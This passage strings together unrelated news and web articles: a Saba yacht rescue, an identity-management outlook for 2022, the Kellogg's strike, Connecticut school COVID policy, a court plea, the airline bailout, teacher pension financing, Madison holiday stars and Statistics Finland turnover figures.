helicopter escorted the rescue mission. On Saba, the Harbor Office, Marechaussee, Douane, Police, Ambulance, and Public Safety departments were all informed that an attempt would be made to bring the yacht to Saba and gathered in the harbor. Once the sinking boat safely reached Fort Bay at 9:30 a.m., emergency and border services worked closely together to handle the situation. All passengers and their belonging were searched and documented by Douane and Marechaussee. Those passengers with medical needs were quickly checked by the ambulance crew and all passengers were fully checked for signs of a COVID-19 infection. Police and Marechaussee ensured the safety of all involved and invested the situation. This way the passengers could be easily transferred to the Coast Guard when the Poema arrived at the Fort Bay harbor at noon. Thoughtful Sabans even brought a bag full of baby necessities to ensure the baby girl had everything it needed on her onwards journey. The French authorities are responsible for coordinating rescue at sea. However, it can take some time before the Coast Guard arrives and the search is sometimes hindered by a language barrier. We are thankful for the fishermen and harbor officials on Saba that have the knowledge and experience to deal with such incidents, stated Johnson, who thanked all those on Saba who assisted with the rescue. Saban's come from a strong sea heritage and will assist those at sea when needed as Sabans have been sustained by the sea for generations, he said. Identity and access management in 2022 - what will the future look like? As we enter into 2022, there is still a level of uncertainty in place. Its unclear what the future holds, as companies around the world still contend with the COVID-19 pandemic. Remote working has been encouraged by most organisations and the move to a hybrid working system has become business as usual, for the majority of businesses. Some have reduced their office space or done away with their locations altogether. Following best security practices With all this change in place, there are problems to deal with. According to research, 32.7% of IT admins say they are concerned about employees using unsecured networks to carry out that work. Alongside this, 74% of IT admins thought that remote work makes it harder for employees to follow best security practices. This need to manage security around remote work is no longer temporary. Instead, companies have to build permanent strategies around remote work and security. The coming year will also create a different landscape for small and mid-sized businesses (SMBs). Here are some key predictions for next year and what to start preparing for in 2022: The reality of SMB spending around security will hit home SMBs had to undertake significant investments to adapt to remote working SMBs had to undertake significant investments to adapt to remote working, especially in comparison to their size. They had to undertake significant digital transformation projects that made it possible to deliver services remotely, during the COVID-19 pandemic. Weve seen a shift in mindset for these companies, which are now more tech-focused in their approach to problem solving. According to our research, 45% of SMBs plan to increase their spending towards IT services in 2022. Around half of all organisations think their IT budgets are adequate for their needs, while 14.5% of those surveyed believe they will need more, to cover all that needs to be done. Identity management spending to support remote work For others, the COVID-19 pandemic led to over-spending, just to get ahead of things and they will spend in 2022, looking at what they should keep and what they can reduce their spending on. Areas like identity management will stay in place, as companies struggle to support remote work and security, without this in place. However, on-premise IT spending will be reduced or cut, as those solutions are not relevant for the new work model. Services that rely on on-premise IT will be cut or replaced. The device will lead the way for security We rely on our phones to work and to communicate. In 2022, they will become central to how we manage access, to all our assets and locations, IT and physical. When employees can use company devices and their own phones for work, security is more difficult. IT teams have to ensure that theyre prepared for this, by making sure that these devices can be trusted. Wide use of digital certificates and strong MFA factors Rather than requiring a separate smart card or fingerprint reader, devices can be used for access using push authentication There are multiple ways that companies can achieve this, for example - By using digital certificates to identify company devices as trusted, an agent, or strong MFA factors, like a FIDO security key or mobile push authentication. Whichever approach you choose, this can prevent unauthorised access to IT assets and applications, and these same devices can be used for authentication into physical locations too. Rather than requiring a separate smart card or fingerprint reader, devices can be used for access using push authentication. Understanding human behaviour Alongside this, it is important to understand human behaviour. Anything that introduces an extra step for authentication can lead to employees taking workarounds. To stop this, it is important to put an employee education process in place, in order to emphasize on the importance of security. The next step is to think about adopting passwordless security, to further reduce friction and increase adoption. Lastly, as devices become the starting point for security and trust, remote device management will be needed too. More companies will need to manage devices remotely, from wiping an asset remotely if it gets lost or stolen, through to de-provisioning users easily and removing their access rights, when they leave the company. Identity will be a layer cake Zero Trust approaches to security Identity management relies on being able to trust that someone is who they say they are. Zero Trust approaches to security can support this effectively, particularly when aligned with least privilege access models. In order to turn theory into practical easy-to-deploy steps, companies need to use contextual access, as part of their identity management strategy. This involves looking at the context that employees will work in and putting together the right management approach for those circumstances. For typical employee behaviour, using two factor authentication might be enough to help them work, without security getting in the way. How enterprises manage, access and store identity data There will also be a shift in how enterprises manage, access, and store that identity data over time For areas where security is more important, additional security policies can be put over the top, to ensure that only the right people have access. A step-up in authentication can be added, based on the sensitivity of resources or risk-based adaptive authentication policies might be needed. There will also be a shift in how enterprises manage, access, and store that identity data over time, so that it aligns more closely with those use cases. Identity management critical to secure assets in 2022 There are bigger conversations taking place around digital identity for citizenship, as more services move online as well. Any moves that take place in this arena will affect how businesses think about their identity management processes too, encouraging them to look at their requirements in more detail. Overall, 2022 will be the year when identity will be critical to how companies keep their assets secure and their employees productive. With employees working remotely and businesses becoming decentralised, identity strategies will have to take the same approach. This will put the emphasis on strong identity management as the starting point for all security planning. OMAHA, Neb. (AP) Kellogg's is facing increasing political pressure to resume contract talks with its 1,400 striking cereal plant workers. Nebraska Gov. Pete Ricketts sent a letter to the company's CEO this week urging the company to return to the bargaining table with workers at its four plants nationwide, including one in his state. That came just a few days after President Joe Biden criticized Kellogg's for threatening to hire permanent replacements for the workers who have been on strike since Oct. 5. Ricketts said in his letter that the Battle Creek, Michigan-based company should recognize the contributions its workers have made during the pandemic by continuing to produce its well-known brands of cereal and try to retain them during this period when many companies are struggling to hire enough workers. Despite the challenges of the global pandemic, they showed up day after day to do their jobs so that across the country there was food on the shelves," said Ricketts, the Nebraska Republican. "These workers helped Kellogg's increase sales and revenue (and grow net income by over 30%) from 2019 to 2020 a time when many businesses endured losses due to the financial headwinds of the pandemic. Members of the Bakery, Confectionery, Tobacco Workers and Grain Millers International Union overwhelmingly rejected a contract offer from the company last week that would have delivered 3% raises and preserved their current health benefits. Union members have said they remain concerned about the company's two-tiered system of wages that has been a sticking point during contract talks. The company said its offer would have allowed all workers with at least four years of experience move up to the higher legacy pay level, but union officials said the plan wouldn't let other workers move up quickly enough. And the company proposed eliminating the current 30% cap on the number of workers at each plant who receive those lower wages. Biden said in a statement Friday he believes Kelloggs was undermining the collective bargaining process with its plan to hire permanent replacements for the striking workers. I am deeply troubled by reports of Kelloggs plans to permanently replace striking workers from the Bakery, Confectionery, Tobacco Workers and Grain Millers International during their ongoing collective bargaining negotiations, said Biden, the Democrat who has long been a strong supporter of unions. Permanently replacing striking workers is an existential attack on the union and its members jobs and livelihoods. Throughout the strike, Kellogg's has been trying to keep its plants operating with salaried employees and outside workers, but it said after the contract vote that it would move forward with plans to hire permanent replacements. Kelloggs spokeswoman Kris Bahner said the company believes its contract offers have been fair and it remains willing to negotiate with the union although no additional talks are scheduled at the moment. She said last weeks offer would have improved workers wages and benefits. We are very disappointed that it was ultimately rejected. We have an obligation to our customers and consumers to continue to provide the cereals that they know and love as well as to the thousands of people we employ, Bahner said. The strike includes four plants in Battle Creek; Omaha, Nebraska; Lancaster, Pennsylvania; and Memphis, Tennessee that make all of Kelloggs brands of cereal, including Rice Krispies and Apple Jacks. As COVID-19 infections surge among students and staff, the question of whether to keep kids in school has resurfaced, days before they finish their first semester full-time return since the start of the pandemic. But unlike the early days of the pandemic, when the push to go remote was swift and from the top, the message this academic year has been clear: Keep students in the classrooms. A message last month from the states education department to superintendents addressed at length that offering remote learning for an entire district was not a clear option for administrators, but rather intended to be used in limited cases involving the safety of students. On Tuesday, Connecticut saw another jump in the positivity rate, which hit 8.16 percent after 2,999 cases were found among 36,747 tests conducted statewide. Hospitalizations also rose by 36 patients for a total of 681 on a day when the nations COVID death toll increased to 800,000 on Tuesday. However, despite the rising cases and hospitalizations, Gov. Ned Lamont voiced little support for the idea of broad remote learning to limit the spread of COVID-19. Our schools opened a year-plus ago, they opened safely, they were some of the safest places in Connecticut, Lamont said Monday. Im doing everything I can to make sure we keep our schools open for in-person learning, he added. But districts, like the rest of Connecticut, are facing a growing threat from the COVID-19 virus. Cases in recent weeks have shot up nearly 75 percent among students and staff, amid a similar surge statewide. While most districts have remained focused on keeping children in schools, Stratford officials have acknowledged the possibility of remote learning as the virus spreads throughout the community. At the district level, as we monitor the increase in positivity or transmission rates, I have been having ongoing conversations with our district leaders and school principals about our readiness to pivot should transmission rates require us to result to remote learning, Uyi E. Osunde, the districts superintendent, wrote in a message to families earlier this month. At least one district, New Britain, tried to go remote briefly early in the year, offering high school students a week reset after a series of incidents at the start of the academic year. But New Britain officials said the state informed them they could not send students home for a week. In its guidance on whether entire school districts could go remote, the education department wrote: Generally, no. In May 2021, the (department) issued Interim Remote Guidance for the 2021-22 School Year, establishing that there will be no mandate for districts to offer remote learning for the 2021-22 school year. The June 2021 Public Acts contemplate a return to full-time in-person instruction, and therefore generally do not permit remote learning for the 2021-22 school year. The latest spike in COVID cases also comes not long after some districts began following a new state policy, Screen and Stay, in which unvaccinated students no longer need to leave school to quarantine after an exposure if it falls under certain circumstances. (The state) prioritized getting students back in classrooms, said Eric Scoville, director of communications at the state education department. The reason being, we know they learn best there, but they also grow and are socially and emotionally better off physically in the classroom. While transmission is high, at least one health expert said he did not think the measures needed to be tightened, or kids sent home. I think we need to enforce our safety measures. Masking is obviously important, distancing is important, vaccinations are important, said Dr. Ulysses Wu, chief epidemiologist for Hartford HealthCare. Though a broad return to remote learning appears unlikely, thousands of students have had to temporarily participate in their classes from home following exposures. State data released this month showed 9 percent of public school students spent some time learning remotely as of October. Those missed days could be attributed to several reasons, from COVID-19 quarantines to staff shortages and transportation issues. To counter that missed time, the state made significant changes last month through Screen and Stay voluntary protocols designed to avoid repeat, disruptive school quarantines when students are exposed to the virus. Districts have to opt-in to participate (in Screen and Stay), and that decision should be made with local public health, Scoville said. The program was introduced as the education department reported more than 26,200 students had missed class as cases spiked in September. Earlier this week, 83 percent of districts reported implementing, or planning to implement, those protocols. The uptick in cases has led some districts to roll back Screen and Stay, including in Brookfield and New Milford, where cases have been on the rise. Recently, the number of children who have been affected by COVID-19 has risen in the community, New Milford Superintendent Alisha DiCorpo wrote in a recent letter to families. Due to the increase in cases, we will be pausing the Screen and Stay option. Meanwhile, officials have been focusing on driving up the numbers of vaccines among children ages 5 to 11, who have been eligible to get doses of the Pfizer-BioNTech vaccine since early November. According to state data, there are about 278,000 kids in this age group in Connecticut. However, numbers from the state show that only 27 percent of children in this age group are fully vaccinated as of last Thursday. And cases continue to predominantly be found among students who are unvaccinated. According to the latest figures, there were more than 1,800 recent COVID cases in schools recently, about more than 80 percent of which involved students were not vaccinated. Get vaccinated, get boosted, and stay safe this holiday season, Lamont said on Twitter on Tuesday. Editors note: An earlier version of this story reported that the states screen and stay policy involves quarantining among vaccinated students. Vaccinated students are not required to quarantine. The policy involves unvaccinated students. STAMFORD A city man pleaded guilty to propositioning two minor girls to have sex with him for money. Diego Ixcotoyac, 43, entered guilty pleas on charges of commercial sexual abuse of a minor, first-degree stalking and first-degree unlawful restraint as part of a plea agreement with the state. As a part of the agreement, Supervisory Assistant States Attorney Maureen Ornousky recommended that Ixcotoyac be sentenced to a 10-year prison sentence, suspended after five years. Ixcotoyac is scheduled to be sentenced Feb. 23. The charges stem from a March 9, 2020, incident where police were called to Richmond Hill Avenue around 3:15 p.m. on March 9, 2020, on a report of a man trying to solicit sex from two minor sisters, ages 11 and 17. According to an affidavit, the younger girl went out on an afternoon errand to pick up some items at the corner store. About 2:40 p.m., the older sister said a man, who she identified as Ixcotoyac, showed up at the front door holding her younger sister by the arm. Ixcotoyac then asked the older girl if he could come in, the affidavit said. The older girl pushed the man back at which point he allegedly tried to touch the older girl. The little girl then ran into the house and went upstairs. The older girl then asked Ixcotoyac what he wanted. He said he was looking for a friend named Antonio. The older girl told Ixcotoyac that there was no one in the house by that name and asked him numerous times to leave, the affidavit said. The girl said Ixcotoyac would not leave and kept staring at her in a way that made her feel uncomfortable. He then said he would give her $100 or more to have sex with her and her younger sister, according to the affidavit. Police later identified Ixcotoyac using social media. He was arrested and charged with risk of injury to a minor, home invasion, attempted commercial sexual abuse of a minor, attempted fourth-degree sexual assault and stalking. The bailout of U.S. airlines under Presidents Donald Trump and Joe Biden was meant to stave off economic calamity and keep the nation's aviation system alive through the coronavirus pandemic. It included provisions, inspired by investing giant Warren Buffett, that supporters said could give Uncle Sam a piece of the upside when the ailing stocks of airline companies rebounded. Buoyed by federal aid, planes kept flying as air travel plummeted by more than 90%. But after handing airlines tens of billions of dollars in grants, the value of stock deals struck on taxpayers' behalf is not in Buffett's league. Those stock agreements, similar to options, this week are worth about $260 million, or less than 1% of the $37 billion the U.S. government gave 10 major passenger airlines last year to help pay their workers, according to a Washington Post analysis of Treasury Department data. Subsequent agreements taxpayers received as airlines got another $13 billion this year are, as of now, useless, although their value would rise if stock prices climb. There are several ways to calculate what the federal government bought with its billions in pandemic-era aid to airlines. The nation's aviation system remains intact, supporting jobs in the sector and outside it, while enabling economic growth and freedom of movement across the country. But nearly two years after the pandemic was declared, questions have emerged about what worked well, and what did not, after one of Washington's most powerful industries was propped up by a vast U.S. bailout. "It wasn't the most carefully crafted deal out there, but in a time-is-of-the-essence sense, it was the deal that could get done," said aviation analyst Robert Mann. Without the federal money, "there surely would have been bankruptcies, because there simply would have been no revenue coming in. . . . As with anything, perfection is the enemy of progress." Consumer groups have cited major flight disruptions and delays this year in asking whether airlines have held up their end of the bargain with taxpayers. On Wednesday, the chief executives of major airlines will be summoned to Capitol Hill to testify on their performance. Some carriers have acknowledged planning missteps as passenger counts have grown to near pre-pandemic levels, but argue their companies were resilient against a relentless and unprecedented foe not of their making. In March 2020, when there were no coronavirus vaccines and air travel was down 80% and falling, U.S. airlines warned of an employment apocalypse. "Time is running out," wrote the chiefs of the nation's top carriers to congressional leaders, warning that draconian furloughs were imminent without federal action. Tens of billions of dollars in grants would "ensure that we can save the jobs of our 750,000 airline professionals." It was a cry for help at a moment of national vulnerability. Fears of the coronavirus and economic collapse drove bipartisan support for a massive bailout. But unlike with the multibillion-dollar bailout of General Motors under Presidents George W. Bush and Barack Obama, the federal government did not take a major ownership stake in the airlines. In early 2020, some called on Congress to demand broad concessions from airlines in exchange for taxpayer money, such as addressing emissions and limiting bag fees. Three days before the appeal from airline CEOs, scholars at the Brookings Institution, a Washington think tank, argued that the bailout should be limited to loans, noting that "a decade of multibillion-dollar profits proves the airlines and shippers can pay back loans." Those ideas fell flat. On March 27, 2020, Congress agreed to provide $25 billion in financial assistance to airlines "to preserve aviation jobs and compensate air carrier industry workers" as part of the Coronavirus Aid, Relief, and Economic Security Act, known as the Cares Act. The law gave the Treasury Department discretion to require "appropriate compensation" for the aid. As details were being hashed out, airlines and unions that had pushed for the rescue sought to minimize that compensation. In the end, 10 major passenger airlines - defined by the Transportation Department as those with more than $1 billion in annual operating revenue - received more than $50 billion in grants as part of the Payroll Support Program (PSP). Airlines, in turn, gave the Treasury Department promissory notes agreeing to pay the government $14 billion years down the road. In addition to that guaranteed money, taxpayers also received millions of stock warrants, which give the government the option to purchase shares of airline stock at a set price. The money was handed over with no expectation that the government would recoup its investment directly, as lawmakers were content with other benefits it provided. Airlines sought financial assistance three times, including extensions of the Payroll Support Program in December 2020 and again in March as part of a far-reaching coronavirus aid package backed by Biden. Under conditions of receiving the money, airlines could not buy back shares of their stock or pay shareholder dividends. They had to limit executive compensation and could not furlough workers involuntarily or reduce pay or benefits. They also generally had to maintain a minimum level of air service along existing routes. Airlines had also appealed for loans or loan guarantees worth at least $29 billion in the early days of the pandemic. But they took out just a fraction of the loans made available, according to Treasury Department disclosures. The loans also required stock warrants. The core of the industry's argument that it needed federal grants came down to saving jobs, but the picture is more complex than it portrayed. The terms of the bailout stated that airlines could not force out workers. But although taxpayers were providing more than $50 billion - meant to keep employees on the job - their workforce shrank by about 42,000 full-time workers and 14,000 part-time workers as of the end of September, when the Payroll Support Program concluded, according to an analysis of data that airlines provided the Transportation Department. The voluntary reductions were allowed under the bailout, but they would come back to hit customers as coronavirus vaccines became available and travel began to ramp up. The first sign of trouble emerged this past summer. American Airlines canceled more than 900 flights in early July to better match its schedule with staffing levels. In August, Spirit Airlines canceled thousands of flights in an episode that cost the company $50 million. In October, thousands of Southwest Airlines passengers were left stranded for days as the carrier scrambled to recover, later admitting that it was short-staffed. Less than two weeks after executives at American boasted during an earnings call that it had posted the best operational performance in the carrier's history the previous month, it suffered a meltdown at the end of October. "I think it's right for taxpayers and Congress to ask, 'What did you do with this money?'" said John Breyault, vice president for public policy, telecommunications and fraud at the National Consumers League. "The bailout money was specifically designed so that airlines would not have work shortages. While they didn't lay off people, they did furlough many employees. There were many early-retirement packages. And now we're seeing the results of that." Added William McGee, the aviation adviser for Consumer Reports, who worked in airline ground and flight operations before becoming a consumer advocate: "That bailout money was specifically designed for airlines not to have worker shortages." Southwest's bumpy ramp-up underscored the consequences of those early staffing decisions that allowed workers to leave voluntarily. The airline has been rushing to hire 5,000 employees by the end of this year, with plans for another 8,000 workers next year. After its meltdown this fall led to thousands of flight cancellations and cost the airline an estimated $75 million, Southwest chief executive Gary Kelly offered a frank assessment of the carrier's performance, saying it misjudged what it would take to rebuild the airline. "Our primary challenge is we just don't have enough people resources to match up with the effort required to operate flights and serve our customers. The root cause is we just need more people resources, period," Kelly told analysts. "An assumption that I made was that we were going to call them and say, 'Okay, it's time to come back,' and they were going to show up, and everything's going to be just like it was. . . . I personally underestimated that coming into this year." Southwest wasn't alone. In its third-quarter earnings call, Doug Parker, chief executive of American Airlines, said the carrier underestimated the amount of time it would take to retrain pilots, which left it shorthanded, prompting the airline to trim its schedule over the summer. The pain felt by travelers has drawn attention on Capitol Hill, leading the Senate Commerce Committee - which has oversight of the aviation industry - to schedule a hearing Wednesday with airline officials over their use of bailout money. In a letter this month to Nicholas E. Calio, chief executive of Airlines for America, which represents the nation's largest airlines, members of the House Transportation Committee sought details about the airlines' management of federal bailout money and urged carriers to "take whatever measures are available" to manage staffing issues. Reps. Peter A. DeFazio, D-Ore., and Sam Graves, R-Mo., said in the letter that while many factors might be at play, "travelers don't care why their flight is delayed. They care just that it's delayed." Calio responded that job losses would have been even greater had it not been for the government support. Airlines had to entice employees to retire early, leave voluntarily or take unpaid leave to remain solvent, Calio said. The government grants allowed airlines to cover only 77% of their labor costs, he said, emphasizing that none of the operational issues airlines experienced this year were due to "noncompliance with PSP requirements." Consumer advocates have their doubts. While airlines say they followed rules laid out under the Cares Act, Breyault said the industry managed to find ways around some elements, including limits on executive compensation. United Airlines, for example, disclosed in regulatory filings that it would give cash awards to its top executives if they stayed with the company for three years or until Cares Act restrictions on executive compensation expired. United maintained that the bonuses were necessary to ensure stability. Delta Air Lines also gave bonuses to managers whose pay had been reduced early in the pandemic. "Following the letter, but not the spirit, of the Cares Act is exactly the problem we're worried about," Breyault said. Even so, union leaders say the Payroll Support Program was a win for workers. "This is the first time in U.S. history that any kind of relief program was built around keeping people in their jobs," said Sara Nelson, international president of the Association of Flight Attendants-CWA, which represents nearly 50,000 flight attendants at 17 airlines. "In every other situation, it was, 'We've got to save the company, and if we save the company we save the jobs,' which from our perspective doesn't work." As the first airline rescue package was being assembled in Congress in early 2020, Sen. Jack Reed, D-R.I., a longtime member of the Senate Banking Committee, recalled an effort he spearheaded requiring stock warrants as part of bank bailout legislation in 2008. He said that law returned almost $10 billion in profits to taxpayers as banks bounced back from the depths of the financial crisis. Airlines didn't cause the coronavirus crisis, Reed argued, but he said they could have better prepared for a severe drop in business. Taxpayers who aided airlines are entitled to receive a "healthy return," Reed said early in the pandemic. "When Warren Buffett makes investments in struggling companies that eventually turnaround, he is lauded as an astute investor and reaps billions in profits," Reed said in a statement in April 2020. "Similarly, if taxpayer funds are needed, the terms must be fair, and taxpayers should be rewarded for helping struggling companies turnaround." Airline stocks are volatile, and some airlines have provided higher estimates for the value of the warrants. Over the past year, the potential value of the government's warrants from individual airlines has fluctuated by $100 million or more. Uncle Sam has several years to decide when to buy and sell shares under the arrangements, so the current value could rise or fall. A spokesman for Reed declined to say whether he was satisfied with how his provision has played out. In Connecticut, wealthier towns paying higher salaries have an advantage in recruiting teachers to their school districts. This is an inequity that the state legislature has sought to balance by providing greater state aid to school districts in lower-income areas. But without knowing it, the legislature has been undercutting their own efforts with a subsidy worth more than a billion dollars a year that resoundingly favors wealthy school districts. Figuring out how to fix this problem is the subject of our new report, Who Benefits? How Teacher Pension Financing Impacts Student Equity in Connecticu t. We pulled together data on how much the state contributes to the State Teachers Retirement System each year on behalf of each school district. Then we divided this subsidy by each districts student enrollment figures to establish a new metric for Connecticut: the per-pupil pension subsidy. This tells us exactly how much Connecticut allocates for every student in each public school district when spending on teacher pensions. Unfortunately, what the metrics show is that the states per-pupil pension subsidy is very inequitably distributed. For decades, the state of Connecticut has allocated more dollars to highly affluent, less diverse school districts putting districts with the greatest need at a structural and systemic disadvantage in terms of resource equity and how they compensate their teaching workforce. How did this happen? Public school employers across the state hire teachers, pay them salaries and enroll them in health care benefits. School districts, however, dont contribute to teacher pensions through the State Teachers Retirement System. Instead, the state of Connecticut covers all costs for the pension fund. That might sound like an efficient handling of taxpayer cash. But this technical artifact of state financing turns out to have meaningful implications for an equitable distribution of public school resources across the state. Connecticut allocates a larger per-pupil pension subsidy on behalf of high-performing districts with low resource needs than it does for districts with lower performance. The state provides twice the subsidy to districts with students from high-income families as to their less wealthy peers. It also provides twice as much of this subsidy on behalf of white students as compared to students of color. Compounding these challenges for students, disadvantaged districts have lower-paid, less-experienced teachers. So the districts with the greatest level of need generate lower pension benefits, and the state pays a lower subsidy on their behalf, exacerbating inequities. To be clear, the problem here isnt with pension benefits or districts setting their own pay schedules. We have a moral and strategic obligation to maintain a healthy pension system to support educators long into the future. And any retirement plan fully paid for by the state would have the same issues. Nevertheless, few states still use the outdated model at work in Connecticut. The precise problem is that by directly paying for all retirement benefits, the state has shielded school district employers from the total costs of their compensation packages. Since pension costs are paid as a percentage of salary, this means that districts offering larger wages to attract and retain teachers are avoiding the escalating pension costs that come with those salaries. Connecticut cannot continue to sustain this practice now that it has been exposed for this level of implicit, systemic discrimination. We must all consider the consequences of these findings for students educational experiences. Especially given the states sunnier economic outlook, its time to be purposeful about building education financing systems that ensure that students all students are the ones who benefit. Anthony Randazzo is the executive director of Equable Institute . Amy Dowell is state director of Education Reform Now CT . Their full report, Who Benefits? How Teacher Pension Financing Impacts Student Equity in Connecticut, can be found at https://bit.ly/3GYpkj1. MADISON - The stars are shining bright in Madison. Throughout the downtown shopping district, handmade wooden stars, all lit up with soft white lights, are adding to the holiday spirit. In windows, on lawns and on building, the festive decorations are making a statement. Created in three different shapes, the stars are handmade by artist Christopher Owens. A resident of Chester, Owens stars light up his hometown in the annual art installation Starry Nights. He said he installed 200 within the downtown Chester village and Im sure theres another couple hundred up around town. Now, the stars are making an appearance in Madison, on a smaller scale. Theyre beautiful, said Janet Connolly, co-owner of The Audubon Shop with her husband, Jerry, and a member of the Madison Chamber of Commerce Merchant Committee. She worked with Alyssa Ingram at The Frame Shop on Wall Street to spread the word. The stars are available in three sizes, 2 feet for $35, 3 feet for $50 and 7 feet for $100. He does a fantastic job with building them, said Connolly. Theyre really sturdy. Theyll last for years. Connolly and Ingram brought the idea to Madison after seeing how beautifully decorated Chester is, all lit up. Presently there are nine merchants with one of more signs. They include The Audubon Shop, Ciao Bella, Country Shop of Madison, The Frame Shop on Wall Street, J Horton, Junk 2 Junque, RJ Julia Booksellers, Wall Street Gallery and Willow & Birch. Its such a happy theme, Owens said. What Im getting is just the nicest response. This is what we need. The carpenter started making the wooden signs in 2006. In 2007, they were placed on the three Mouse Island cottages off the point of Noank. Since then, he has lived in different places and his stars are now in Vermonts Mad River Valley, Chester and Madison. They are the things that bind all of us in the world, he said. I remember standing in the Indian desert on the Pakistan border and looking up at the stars and the moon and thinking, Ah, thats the same sky, in a different time, that Im looking at in New England or my friends are seeing on Cape Cod. Its not a religious thing, its just something we all have in common, which I think is more important than everything else, he adds. The original stars were created out of saplings, with green lights wrapped around them. We had a 46-acre hill farm, so I would just go through the woods looking for saplings, he said. Then Owens moved onto natural wood and subsequently to the current white-washed stars, wrapped in white lights. At the former Tidewater Inn on Boston Post Road, new owner Lisa Ferguson has five stars prominently displayed on the sloping front lawn, in a shining star motif. He really touched me when he said The one thing we all have in common is that we live under the stars, Ferguson said. I think it brings a sense of joy and gratitude to the world and that we are all in this together, she added. Across town, at the Wall Street Gallery, owner Jim Reinhart has a star displayed on the east side of his shop. It seemed like the festive thing to do, he said. While the plan was to hang the star from a tree that has not yet been accomplished. I just think it would be fun looking, he said. Stars sort of float in the sky, so were going to try and replicate that. There are homeowners that have purchased stars and have them on display, Owens said. He estimated there are some 45 stars lighting up Madison. Theyre beautiful, Connolly said. They bring so much cheer, she added. Its a unifying kind of theme. You look up in the sky and you see stars. In the front of the Audubon Shop, as well as in the rear, there are a total of six stars. Connolly hopes that people think of a shooting star when they pass her shop. I just wanted people to see something beautiful, really, she said. Were always trying to do something that is cheerful for people and to let people know that were still here, we still support you. Connolly talks about the stars being a positive sign as the town emerges after the pandemic. Weve had just a crazy, tough couple of years and we really need hope, she said. I feel like giving people beautiful things to look at as they drive around, it definitely gives them hope. Its like bringing light to the night. Ingram agreed. They use them as the star of hope and I just think, at the Christmas season, its just festive and warm and inviting, she said. Connolly said she would love to have all the merchants participate next year. Junk 2 Junque owner Mary Stryker purchased three small stars and they lead the way to her shop, tucked in an alley behind Ciao Bella, displayed in vintage metal pots. Next year Im going to get a gigantic one for the top of my building, she said, looking ahead. Stryker said she hopes all the merchants and residents participate in years to come. I think it is very festive and I think that if every single, solitary person in Madison, Connecticut spent $100 to put stars on their homes and the town, it would be amazing. For more information on the stars, contact Christopher Owens, 860-287-5796; Christopher@chestercottagect.com; chestercottagect.com; Facebook Christopher Owens; Instagram Chester Cottage. Stars can also be purchased by visiting VisitChesterCT.com and Venmo: Lighthousemon A more recent publication of this set of statistics is available. Latest publication: Turnover of trade 2021, November Published: 15 December 2021 Growth in turnover in trade continued in October According to Statistics Finland, turnover in total trade adjusted for working days increased in October by 9.1 per cent from October 2020. The working day adjusted volume of sales in total trade, from which the impact of price changes has been eliminated, went down by 1.0 per cent from one year back. Seasonally adjusted turnover grew slightly compared to September, but seasonally adjusted sales volume remained lower than in the previous month. Annual change in working day adjusted turnover and sales volume in total trade (G), % Growth in turnover strongest in wholesale trade Turnover in the trade industry with the biggest turnover, wholesale trade, grew in October by 12.5 per cent but sales volume decreased by 4.0 per cent year-on-year. The more favourable development in turnover than in sales volume in wholesale trade is explained by higher prices especially of processed petroleum products. In retail trade, working day adjusted turnover increased in October by 4.3 per cent and sales volume by 1.6 per cent from last years October. Turnover in daily consumer goods trade increased by 1.7 per cent from the previous year, but sales volume decreased by 1.4 per cent in the corresponding period. Turnover in department store trade grew by 2.9 per cent and sales volume by 1.9 per cent from the year before. In specialised store trade, turnover increased by 4.9 per cent and sales volume by 2.2 per cent from October 2020. In October, turnover in motor vehicle trade increased by 7.8 per cent and sales volume by 4.7 per cent from one year back. Annual change in working day adjusted turnover and sales volume in industries of trade, October 2021, % (TOL 2008) Seasonally adjusted turnover grew compared to September Seasonally adjusted turnover in total trade grew by 0.1 per cent in October compared to September. Seasonally adjusted sales volume went down by 1.4 per cent over the same period. In September, turnover grew by 0.6 per cent while sales volume went down by 0.2 per cent compared to the month before. Change in seasonally adjusted turnover and sales volume in total trade (G) from the previous month, % Trend of turnover and sales volume in total trade The calculation of indices of turnover of trade is based on the Tax Administrations data on self-assessed taxes, which are supplemented with Statistics Finlands sales inquiry. The volume index of sales is calculated by removing the effect of price changes from the value index series. The factors caused by the variation in the number of weekdays are taken into account in adjustment for working days. This means taking into consideration the lengths of months, different weekdays and holidays. In addition, seasonal variation is eliminated from seasonally adjusted series, on account of which it makes sense to compare observations of two successive months as well. The data for the latest month are preliminary and they may become significantly revised particularly on more detailed industry levels in coming months. Source: Turnover of trade, Statistics Finland Inquiries: Lauri Pullinen 029 551 3043, Mauri Niiniaho 029 551 3409, kauppa.suhdanne@stat.fi Head of Department in charge: Katri Kaaja Publication in pdf-format (285.8 kB) Updated 15.12.2021 Referencing instructions: Official Statistics of Finland (OSF): Turnover of trade [e-publication]. ISSN=1799-0939. October 2021. Helsinki: Statistics Finland [referred: 6.1.2022]. Access method: http://www.stat.fi/til/klv/2021/10/klv_2021_10_2021-12-15_tie_002_en.html A more recent publication of this set of statistics is available. Latest publication: Index of turnover in industry 2021, November Published: 15 December 2021 Turnover in industry increased by 17.0 per cent in October According to Statistics Finland, working day adjusted turnover in industry (TOL BCD) increased in October by 17.0 per cent year-on-year. Turnover grew in almost all main industries. The development was partly due to the state of emergency caused by the coronavirus one year earlier. Turnover in the chemical industry increased most among the main industries, by 38.3 per cent year-on-year. Seasonally adjusted turnover in industry (TOL BCD) decreased by 0.1 per cent in October compared with September. Annual change in working day adjusted turnover in manufacturing (BCD), % (TOL 2008) Working day adjusted turnover in electricity, gas, steam and air conditioning supply grew by 26.1 per cent in October from one year back. Turnover in the forest industry went up by 23.1 per cent and in the metal industry by 9.5 per cent. Turnover also grew in the textile, clothing and leather industry, 5.7 per cent, and in the food industry, 3.8 per cent. Turnover in the electrical and electronics industry decreased by 5.4 per cent and in mining and quarrying by 2.0 per cent. Annual change in working day adjusted turnover in manufacturing by industry, October 2021, % (TOL 2008) Export turnover and domestic turnover growing in October in nearly all main industries Export turnover increased in October most in the chemical industry, by 38.1 per cent from one year earlier. Export turnover in the forest industry grew by 19.5 per cent and export turnover in mining and quarrying by 18.3 per cent. Export turnover in the metal industry was 6.8 per cent higher than one year previously. Export turnover increased in the textile, clothing and leather industry by 2.9 per cent and in the food industry by 1.9 per cent. Export turnover decreased only in the electrical and electronics industry, by 8.7 per cent from twelve months earlier. Annual change in working day adjusted export turnover and domestic turnover in manufacturing by industry, October 2021, % (TOL 2008) Domestic turnover in the chemical industry increased most among the main industries, by 38.9 per cent year-on-year. Domestic turnover grew in the forest industry by 31.6 per cent and in the metal industry by 20.2 per cent. Domestic turnover of the electrical and electronics industry increased by 8.6 per cent from one year previously. The textile, clothing and leather industry went up by 7.9 per cent and the food industry by 2.5 per cent. Domestic turnover decreased only in the industry of mining and quarrying, by 6.7 per cent from one year ago. Trend series of 